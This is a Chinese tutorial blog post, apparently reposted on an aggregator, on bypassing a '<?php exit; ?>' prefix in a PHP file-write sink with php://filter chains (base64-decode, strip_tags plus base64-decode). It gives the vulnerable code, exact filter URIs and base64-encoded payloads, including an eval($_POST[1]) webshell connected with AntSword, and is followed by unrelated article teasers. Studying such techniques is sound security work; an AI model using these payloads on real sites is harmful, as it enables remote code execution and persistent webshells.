浅谈php://filter的妙用

news2024/12/23 3:05:36

文章目录

  • 分析源码
  • 巧用编码与解码
    • 利用字符串操作方法

分析源码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

首先,先分析一下这段代码。
首先他定义了content为’<?php exit;?>‘,然后使用txt接受了一个POST的变量,将其与content进行拼接,也就是$content=’<?php exit;?> txt’,也就是说无论后面写什么都不会执行。file_put_contents是将数据写入文件。下面就是使用POST接收一个名为filename的变量。整体上来看呢就是将content的内容写入filename的文件。
那我们不妨设想一下有没有什么方法能“屏蔽”前面的退出函数呢?

巧用编码与解码

使用php://filter流的base64-decode方法,将$content解码。
base64只包含大小写字母、数字、+和/,在解码时,只对这些字符解码,当遇到其他字符时,会跳过,仅将合法字符组成一个新的字符串进行解码。

<?php exit;?>共有七个字符会被正确解码,而base64算法解码时是4byte一组,那么我们就给他随便添加一位组成8byte,然后后面就可以写我们的webshell了。

php://filter中怎么使用base64解码呢?那么就是php://filter/writer=convert.base64-decode/resource=aaa.php。这句话的意思是使用base64对其解码并且将其写入aaa.php文件。
那么我们先将webshell写成<?php phpinfo();将其进行base64编码为PD9waHAgcGhwaW5mbygpOw。将其作为content传入,将php://filter/write=convert.base64-decode/resource=aaa.php作为filename传入。
进行测试。
在这里插入图片描述

查看在本目录下是否生成了该文件
在这里插入图片描述
在这里插入图片描述
既然这样都可以成功,那我们不妨尝试写一句话木马。<?php eval($_POST[1]);的base64编码为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw。

使用蚁剑进行连接尝试。
在这里插入图片描述

连接成功。

利用字符串操作方法

在php://filter中有一种对php和html的标签进行检测操作的方法,也就是strip_tags。那我么就要思考,他是不是可以去除一切含有<?php标签的代码呢?答案是的。也就是说,只要其检测到<?php或者说html的标签那么可以直接将其删除,但是我们还要传入php的代码,肯定也会被其删除啊,有没有一种方法可以不删除我们传入的恶意代码、只删除<?php exit; ?>呢?
php://filter可以同时使用多个过滤器,那我们思考就可以利用上面的编码与解码了。
也就是类似于这种

php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php

也就是我们将恶意代码以base64编码的形式传入,等string_tags将<?php exit; ?>删除之后,再将恶意代码使用base64解码。
还是先将<?php phpinfo();进行base64编码为PD9waHAgcGhwaW5mbygpOw,然后将其以POST的形式传入txt,将php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php通过POST传给filename。
在这里插入图片描述
在这里插入图片描述
查看aaa.php的内容。
在这里插入图片描述
访问。
在这里插入图片描述
再写一句话木马尝试使用蚁剑连接。
在这里插入图片描述
在这里插入图片描述
连接成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2036677.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机网络17——IM聊天系统——客户端核心处理类框架搭建

目的 拆开客户端和服务端&#xff0c;使用Qt实现客户端&#xff0c;VS实现服务端 Qt创建项目 Qt文件类型 .pro文件&#xff1a;配置文件&#xff0c;决定了哪些文件参与编译&#xff0c;怎样参与编译 .h .cpp .ui&#xff1a;画图文件 Qt编码方式 Qt使用utf-8作为编码方…

服务器被ddos攻击多久能恢复?具体怎么操作

服务器被ddos攻击多久能恢复&#xff1f;如果防御措施得当&#xff0c;可能几分钟至几小时内就能缓解&#xff1b;若未采取预防措施或攻击特别猛烈&#xff0c;则可能需要几小时甚至几天才能完全恢复。服务器被DDoS攻击的恢复时间取决于攻击的规模和强度、服务器的配置和性能以…

【C++】类与对象(中)_7.const成员函数

7.const成员 7.1 const修饰类的成员函数 将const修饰的类成员函数称之为const成员函数&#xff0c;const修饰类成员函数&#xff0c;实际修饰该成员函数隐含的this指针&#xff0c;表明在该成员函数中不能对类的任何成员进行修改。 我们来看看下面的代码 #define _CRT_SECU…

【ARM CoreLink 系列 5.1 -- CI-700 各种 Node 组件详细介绍】

请阅读【ARM CoreLink 文章专栏导读】 文章目录 CI-700 组件(Components)RN-I( I/O-coherent Request Node) 和 RN-D(I/O coherent Request Node with DVM)HN-F(Fully coherent Home Node)IO coherent Home Node (HN-I)IO coherent Home Node with Debug Trace Controller (H…

JSON与Jsoncpp库:数据交换的灵活选择

目录 引言 一.JSON简介 二. Jsoncpp库概述 三. Jsoncpp核心类介绍 3.1 Json::Value类 3.2 序列化与反序列化类 四. 实现序列化 五. 实现反序列化 结语 引言 在现代软件开发中&#xff0c;数据交换格式扮演着至关重要的角色。JSON&#xff08;JavaScript Object Notati…

鸿蒙(API 12 Beta3版)【媒体会话提供方】本地媒体会话

音视频应用在实现音视频功能的同时&#xff0c;需要作为媒体会话提供方接入媒体会话&#xff0c;在媒体会话控制方&#xff08;例如播控中心&#xff09;中展示媒体相关信息&#xff0c;及响应媒体会话控制方下发的播控命令。 基本概念 媒体会话元数据&#xff08;AVMetadata…

WordPress原创插件:Download-block-plugin下载按钮图标美化

WordPress原创插件&#xff1a;Download-block-plugin下载按钮图标美化 https://download.csdn.net/download/huayula/89632743

Mapreduce_csv_averageCSV文件计算平均值

csv文件求某个平均数据 查询每个部门的平均工资&#xff0c;最后输出 数据处理过程 employee_noheader.csv&#xff08;没做关于首行的处理&#xff0c;运行时请自行删除&#xff09; EmployeeID,EmployeeName,DepartmentID,Salary 1,ZhangSan,101,5000 2,LiSi,102,6000…

疫情下图书馆管理系统

TOC springboot126疫情下图书馆管理系统 系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管…

mock.js的简单使用~

1、什么是mock? mock.js:是一款模拟数据生成器&#xff0c;可以生成随机数据&#xff0c;拦截 Ajax 请求. 2、mock的作用。 可以通过mock来模拟后端接口&#xff0c;可随机生成所需数据&#xff0c;模拟对数据的增删改查。并且截Ajax请求不需要修改既有代码就可以拦截&…

RCE-eval长度限制突破技巧

目录 一、长度17的限制绕过 1、最简单的绕过 &#xff08;一&#xff09;绕过 &#xff08;二&#xff09;编写一句话木马 2、文件包含的利用 &#xff08;一&#xff09;远程文件包含的利用 &#xff08;二&#xff09;本地文件包含的利用 3、usort绕过 &#xff08…

BGP路由优选(五)

当到达同一个目的网段存在多条路由时&#xff0c;BGP通过如下的次序进行路由优选&#xff1a; 丢弃下一跳不可达的路由。 优选Preferred-Value属性值最大的路由。优选Local_Preference属性值最大的路由。本地始发的BGP路由优于从其他对等体学习到的路由&#xff0c;本地始发的路…

使用腾讯云存储桶COS来实现上传和下载图片功能

有个需求&#xff0c;需要上传和下载图片&#xff0c;我决定使用腾讯云存储桶来做服务器存储目录&#xff0c;供程序上传和下载使用。 1、首先打开对应网站&#xff1a;云产品免费体验馆_云产品免费试用_个人云产品试用-腾讯云&#xff0c;点击左边的"存储"项&#x…

proxy负载均衡

endpoint &#xff1a; 终点、终端 看service服务器的ip kubectl get ep backend -> real server &#xff1a;真正提供web服务的服务器 负载均衡器 load balancer --》LB USER -->LB --->BACKEND(real server) nginx SERVICE --->很多的endpoint--》po…

报名表EXCEL图片批量下载源码-CyberWinApp-SAAS 本地化及未来之窗行业应用跨平台架构

每次报名表都会包含大量照片&#xff0c;一张一张下载很慢 可以通过未来之窗开源平台架构 开开excel批量下载 实现代码也很简单 function 未来之窗下载(){ let 未来之窗地址 document.getElementById("batchurl").value; let 保存路径 document.getElementById(…

GD32 MCU如何使用双ADC内核提高ADC采样率?

如下图所示&#xff0c;GD32F303系列MCU在不同的ADC位宽情况下均具有对应的最高采样率&#xff0c;那这个最高采样率还可以提高吗&#xff1f; 答案是可以的。GD32F30X系列MCU可以支持双ADC内核&#xff0c;分别为ADC0和ADC1&#xff0c;且双ADC可以支持同步模式&#xff0c;同…

力扣热题100_链表_206_反转链表

文章目录 题目链接解题思路解题代码 题目链接 206. 反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2&#xff1a; 输入&#xf…

Leetcode面试经典150题-146.LRU缓存

解法都在代码里&#xff0c;不懂就留言或者私信&#xff0c;这个题大概率不会让你直接写代码&#xff0c;而是说以下思路&#xff0c;如果写代码这个题写出来基本就过了 class LRUCache {/**首先我们得有缓存&#xff0c;get和put都是O(1)时间复杂度&#xff0c;我们常用的数…

公用事业公司与数据中心的电力协议推动未来增长

随着人工智能技术的迅猛发展&#xff0c;美国公用事业公司正在积极与数据中心运营商签订电力供应协议。这一趋势预计将显著提升这些公司的销售额和利润&#xff0c;并对未来几年的能源市场产生深远影响。 数据中心电力需求激增 根据高盛的报告&#xff0c;到2030年&#xff0c…

WMS助力企业数字化转型(六)

在当今数字化时代&#xff0c;仓库管理系统&#xff08;WMS&#xff09;作为推动企业数字化转型的重要工具&#xff0c;通过实时数据监控、自动化操作和智能分析&#xff0c;大幅提升了仓储管理的效率与精准度&#xff0c;为企业在供应链优化、库存控制和客户满意度方面带来了显…